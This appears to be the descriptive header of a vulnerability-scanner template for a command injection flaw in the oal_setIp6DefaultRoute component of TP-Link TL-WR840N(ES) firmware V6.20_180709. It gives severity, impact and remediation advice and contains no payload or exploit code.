  name: TP-Link TL-WR840N - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The TP-Link TL-WR840N(ES)_V6.20_180709 router contains a command injection vulnerability in the oal_setIp6DefaultRoute component. This vulnerability allows authenticated attackers to execute arbitrary system commands, leading to complete device compromise.
  impact: |
    Authenticated attackers can inject system commands through the oal_setIp6DefaultRoute component to execute arbitrary commands on the TP-Link router, enabling complete device compromise and network infiltration.
  remediation: |
    Update firmware to the latest version if available. If no firmware update is available,consider implementing network segmentation to limit access to the router's management interface.
